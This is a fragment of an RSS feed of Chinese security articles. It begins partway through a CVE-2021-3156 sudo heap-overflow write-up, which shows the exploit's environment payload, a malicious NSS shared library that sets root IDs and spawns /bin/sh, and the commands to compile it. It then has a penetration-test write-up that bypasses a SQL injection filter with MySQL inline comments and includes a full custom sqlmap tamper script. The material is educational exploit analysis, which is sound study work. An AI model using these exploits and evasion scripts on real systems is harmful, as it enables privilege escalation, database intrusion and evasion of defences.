class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;XXX/test&quot;</span>,<span class="cm-string">&quot;LC_IDENTIFICATION=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&quot;</span>,<span class="cm-string">&quot;LC_MEASUREMENT=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&quot;</span>,<span class="cm-string">&quot;LC_TELEPHONE=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&quot;</span>,<span class="cm-string">&quot;LC_ADDRESS=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&quot;</span>,<span class="cm-string">&quot;LC_NAME=xxxxxxxx&quot;</span>,<span class="cm-variable">NULL</span>};</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-variable">execve</span>(<span class="cm-string">&quot;/usr/local/bin/sudoedit&quot;</span>,<span class="cm-variable">argv</span>,<span class="cm-variable">env</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">}</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span></pre>
<p><img alt="Untitled" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405081447663.png"/></p>
<p>覆盖结果如上</p>
<p>拼接完成后会执行</p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp;<span class="cm-comment">/* Construct shared object name. &nbsp;*/</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp;<span class="cm-variable">__stpcpy</span> (<span class="cm-variable">__stpcpy</span> (<span class="cm-variable">__stpcpy</span> (<span class="cm-variable">__stpcpy</span> (<span class="cm-variable">shlib_name</span>,</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp; &nbsp;<span class="cm-string">&quot;libnss_&quot;</span>),</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp;<span class="cm-variable">ni</span><span class="cm-operator">-&gt;</span><span class="cm-variable">name</span>),</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp;<span class="cm-string">&quot;.so&quot;</span>),</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-variable">__nss_shlib_revision</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp;<span class="cm-variable">ni</span><span class="cm-operator">-&gt;</span><span class="cm-variable">library</span><span class="cm-operator">-&gt;</span><span class="cm-variable">lib_handle</span> <span class="cm-operator">=</span> <span class="cm-variable">__libc_dlopen</span> (<span class="cm-variable">shlib_name</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp;<span class="cm-keyword">if</span> (<span class="cm-variable">ni</span><span class="cm-operator">-&gt;</span><span class="cm-variable">library</span><span class="cm-operator">-&gt;</span><span class="cm-variable">lib_handle</span> <span class="cm-operator">==</span> <span class="cm-variable">NULL</span>)</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span>{</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp;<span class="cm-comment">/* Failed to load the library. &nbsp;*/</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp;<span class="cm-variable">ni</span><span class="cm-operator">-&gt;</span><span class="cm-variable">library</span><span class="cm-operator">-&gt;</span><span class="cm-variable">lib_handle</span> <span class="cm-operator">=</span> (<span class="cm-variable-3">void</span> <span class="cm-variable-3">*</span>) <span class="cm-operator">-</span><span class="cm-number">1l</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp;<span class="cm-variable">__set_errno</span> (<span class="cm-variable">saved_errno</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span>}</span></pre>
<p>通过__libc_dlopen打开文件</p>
<p><img alt="Untitled" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405081447664.png"/></p>
<h3>4 提权收工</h3>
<p>最后编译后门test.so.2，并放入libnss_XXX文件夹</p>
<p>这里借用<a href="https://cloud.tencent.com/developer/article/1826931">CVE-2021-3156：sudo堆溢出提权漏洞分析-腾讯云开发者社区-腾讯云 (tencent.com)</a>中的代码</p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-meta">#define _GNU_SOURCE </span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-meta">#include &lt;stdio.h&gt;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-meta">#include &lt;stdlib.h&gt;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-meta">#include &lt;unistd.h&gt;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-meta">#define EXECVE_SHELL_PATH &quot;/bin/sh&quot;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-keyword">static</span> <span class="cm-variable-3">void</span> <span class="cm-def">__attribute__</span> ((<span class="cm-variable">constructor</span>)) <span class="cm-variable">pop_shell</span>(<span class="cm-variable-3">void</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable-3">char</span> <span class="cm-variable-3">*</span><span class="cm-variable">n</span>[] <span class="cm-operator">=</span> {<span class="cm-variable">NULL</span>};</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable-3">void</span> <span class="cm-def">pop_shell</span>(<span class="cm-variable-3">void</span>) {</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-variable">printf</span>(<span class="cm-string">&quot;[+] executed!\n&quot;</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-variable">setresuid</span>(<span class="cm-number">0</span>, <span class="cm-number">0</span>, <span class="cm-number">0</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-variable">setresgid</span>(<span class="cm-number">0</span>, <span class="cm-number">0</span>, <span class="cm-number">0</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-keyword">if</span>(<span class="cm-variable">getuid</span>() <span class="cm-operator">==</span> <span class="cm-number">0</span>) {</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-variable">puts</span>(<span class="cm-string">&quot;[+] we are root!&quot;</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;} <span class="cm-keyword">else</span> {</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-variable">puts</span>(<span class="cm-string">&quot;[-] something went wrong!&quot;</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-variable">exit</span>(<span class="cm-number">0</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;}</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-variable">execve</span>(<span class="cm-variable">EXECVE_SHELL_PATH</span>, <span class="cm-variable">n</span>, <span class="cm-variable">n</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">}</span></pre>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">gcc</span> <span class="cm-operator">-</span><span class="cm-variable">fPIC</span> <span class="cm-operator">-</span><span class="cm-variable">shared</span> <span class="cm-variable">test</span>.<span class="cm-variable">c</span> <span class="cm-operator">-</span><span class="cm-variable">o</span> <span class="cm-variable">libnss_XXX</span><span class="cm-operator">/</span><span class="cm-variable">test</span>.<span class="cm-variable">so</span>.<span class="cm-number">2</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">chmod</span> <span class="cm-number">777</span> <span class="cm-variable">libnss_XXX</span><span class="cm-operator">/</span><span class="cm-variable">test</span>.<span class="cm-variable">so</span>.<span class="cm-number">2</span></span></pre>
<p>提权效果</p>
<p><img alt="Untitled" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405081447665.png"/></p>
<h2>总结</h2>
<p>这个老洞新探，还是挺有意思的， 从源码分析到动态调试，整个过程对程序调试的能力有很大的锻炼。在这个洞的利用中，思路是比较清晰的，但在堆排布那里，由于中间会有很多其他的堆块操作是我们不可控，就会存在较大困难，要么通过逆向分析梳理所有的堆块操作然后手动构造，要么就是通过fuzz。前者费时费力，而且存在很多问题，后者需要对fuzz进行一定的学习。在盲目手动构造的过程中，好不容易在service_user之前留下了坑，但还是遇到了几种情况，一是在没有加溢出的时候的service_user结构体的地址和加了溢出字符后的不一样，二是在根本走不到nss_load_library就崩溃了，三是修改了最近的一个service_user结构体，但并没有用。</p>
<p>总的来说，这个洞还有很多可以学习的地方，后面学学fuzz后再来试试这个洞。</p>
<p>&nbsp;&nbsp;</p>
<p><br/></p>
]]></description>
		<wfw:commentRss>https://www.secpulse.com/archives/205000.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>在一次渗透中学会编写Tamper脚本</title>
		<link>https://www.secpulse.com/archives/205058.html</link>
		<comments>https://www.secpulse.com/archives/205058.html#comments</comments>
		<pubDate>Wed, 22 Jan 2025 03:54:30 +0000</pubDate>
		<dc:creator><![CDATA[蚁景网安实验室]]></dc:creator>
				<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">https://www.secpulse.com/?p=205058</guid>
		<description><![CDATA[<p>拿到这个网站，通过对比查询，我们发现</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405201505886.png" width="720" height="322.3115577889447"/></p>
<p>闭合参数 finsh 时，查询出的内容更多</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405201505888.png" width="720" height="329.62025316455697"/></p>
<p>经过进一步判断，确实存在漏洞</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405201505889.png" width="720" height="326.1978947368421"/></p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405201505890.png" width="720" height="295.35370447886146"/></p>
<p>不过在测试的时候发现存在一定的过滤</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405201505891.png" width="720" height="294.8197820620285"/></p>
<p>但是可以通过内联注释进行绕过。</p>
<p>这里也是加深了解了内联注释的知识点，之前只会简单的利用&nbsp;<code>/*!50000UniON SeLeCt*/</code>&nbsp;<code>/*!12345union*/</code>不知其所以然，有这样一段解释，在 mysql 中&nbsp;<code>/*!...*/</code>不是注释，mysql 为了保持兼容，它把一些特有的仅在 mysql 上用的语句放在&nbsp;<code>/*!...*/</code>中，这样这些语句如果在其他数据库中是不会被执行，但是在 mysql 中它会执行。当后面接的数据库版本号小于自身版本号，就会将注释中的内容执行，当后面接的数据库版本号大于等于自身版本号，就会当做注释来处理。如下语句&nbsp;<code>/*!50001UniON SeLeCt*/</code>&nbsp;这里的 50001 表示假如数据库的版本是 5.00.01 及其以上版本才会被使用。这里我们会产生一个疑问，数据库的版本也不仅仅是五位数字，也存在四位，甚至于三位，应该是会进行处理 5.7.23 也对应着 5.07.23</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405201505893.png" width="720" height="400.0517464424321"/></p>
<p>我们首先查询出数据库的版本信息</p>
<p><span style="margin: 0px;padding: 0px"><br/></span></p>
<p><br/></p>
<p><span style="margin: 0px;padding: 0px"><br/></span></p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405201505894.png" width="720" height="323.00469483568077"/></p>
<p>当前面的数字为 50723 及小于这个数的五位数字组合都可以利用成功</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405201505895.png" width="720" height="327.13504417332774"/></p>
<p>当前面的数字为 50724 及大于这个数的五位数字组合无法利用成功</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405201505896.png" width="720" height="326.66945957268535"/></p>
<p>我们已经手工验证过了存在 SQL 注入漏洞，但是却无法利用 sqlmap 识别出联合注入，是因为存在检测，需要内联注释进行绕过</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405201505897.png" width="720" height="247.93103448275863"/></p>
<p>我们需要编写一个Tamper脚本</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405201505898.png" width="720" height="366.5576833255488"/></p>
<p>我们打开 sqlmap-master\tamper 下的一个文件 htmlencode.py 我们看到就是一个查找替换的操作</p>
<p>我们目前已经知道需要利用内联注释来实现绕过检测的操作</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405201505900.png" width="720" height="293.7963693764799"/></p>
<p>我们修改代码</p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-keyword">import</span> <span class="cm-variable">re</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-keyword">from</span> <span class="cm-variable">lib</span>.<span class="cm-property">core</span>.<span class="cm-property">enums</span> <span class="cm-keyword">import</span> <span class="cm-variable">PRIORITY</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">__priority__</span> <span class="cm-operator">=</span> <span class="cm-variable">PRIORITY</span>.<span class="cm-property">LOW</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-keyword">def</span> <span class="cm-def">dependencies</span>():</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-keyword">pass</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-keyword">def</span> <span class="cm-def">tamper</span>(<span class="cm-variable">payload</span>, <span class="cm-operator">**</span><span class="cm-variable">kwargs</span>):</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-string">&quot;&quot;&quot;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-string"> &nbsp; &nbsp;HTML encode (using code points) all non-alphanumeric characters (e.g. &#39; -&gt; &#39;)</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-string"> &nbsp; &nbsp;&gt;&gt;&gt; tamper(&quot;1&#39; AND SLEEP(5)#&quot;)</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-string"> &nbsp; &nbsp;&#39;1&#39;/!*00000AND SLEEP(5)*/#&#39;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-string"> &nbsp; &nbsp;&quot;&quot;&quot;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-keyword">if</span> <span class="cm-variable">payload</span>:</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-variable">replaced_text</span> <span class="cm-operator">=</span> <span class="cm-variable">payload</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-variable">replace_code</span> <span class="cm-operator">=</span> <span class="cm-variable">re</span>.<span class="cm-property">search</span>(<span class="cm-string">r&quot;&#39;(.*?)(#|--)&quot;</span>, <span class="cm-variable">payload</span>)</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-keyword">if</span> <span class="cm-variable">replace_code</span>:</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="cm-variable">replaced_text</span> <span class="cm-operator">=</span> <span class="cm-variable">re</span>.<span class="cm-property">sub</span>(<span class="cm-string">r&quot;(?&lt;=&#39;)(.*?)(?=#|--)&quot;</span>, <span class="cm-string">r&quot;/!*00000\1*/&quot;</span>, <span class="cm-variable">payload</span>)</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-null cm-error" style="padding: 0px;margin: 0px;color: red"> &nbsp; &nbsp;</span><span class="cm-keyword">return</span> <span class="cm-variable">replaced_text</span></span></pre>
<p>成功生效</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405201505901.png" width="720" height="258.0117878192534"/></p>
<p>&nbsp;&nbsp;</p>
<p><br/></p>
]]></description>
		<wfw:commentRss>https://www.secpulse.com/archives/205058.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
